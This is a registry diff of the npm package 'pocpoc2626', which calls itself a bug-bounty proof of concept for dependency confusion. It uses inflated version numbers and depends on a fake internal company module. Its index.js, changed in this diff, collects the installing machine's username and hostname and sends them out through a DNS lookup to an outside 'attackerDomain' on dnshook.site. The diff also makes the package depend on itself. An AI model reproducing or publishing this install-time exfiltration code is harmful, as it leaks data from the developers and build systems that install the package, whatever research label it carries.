pocpoc2626 99.99.9997 → 99.99.9998
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -2
- package/package.json +4 -3
package/index.js
CHANGED
|
@@ -4,9 +4,9 @@ const os = require('os');
|
|
|
4
4
|
const hostname = os.hostname().replace(/[^a-zA-Z0-9]/g, '');
|
|
5
5
|
const username = os.userInfo().username.replace(/[^a-zA-Z0-9]/g, '');
|
|
6
6
|
|
|
7
|
-
const attackerDomain = "
|
|
7
|
+
const attackerDomain = "f1a1188f-d9b5-40d0-a2cc-340718ec4d21.dnshook.site";
|
|
8
8
|
|
|
9
|
-
const exfilPayload = `${username}.${hostname}.$
|
|
9
|
+
const exfilPayload = `${username}.${hostname}.${attackerDomain};`
|
|
10
10
|
|
|
11
11
|
dns.lookup(exfilPayload, (err, address, family) => {
|
|
12
12
|
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pocpoc2626",
|
|
3
|
-
"version": "99.99.
|
|
3
|
+
"version": "99.99.9998",
|
|
4
4
|
"description": "Bug Bounty PoC for Dependency Confusion",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
@@ -9,6 +9,7 @@
|
|
|
9
9
|
"author": "Security Researcher",
|
|
10
10
|
"license": "MIT",
|
|
11
11
|
"dependencies": {
|
|
12
|
-
"internal-company-module-test-1337": "^99.99.9996"
|
|
12
|
+
"internal-company-module-test-1337": "^99.99.9996",
|
|
13
|
+
"pocpoc2626": "^99.99.9997"
|
|
13
14
|
}
|
|
14
|
-
}
|
|
15
|
+
}
|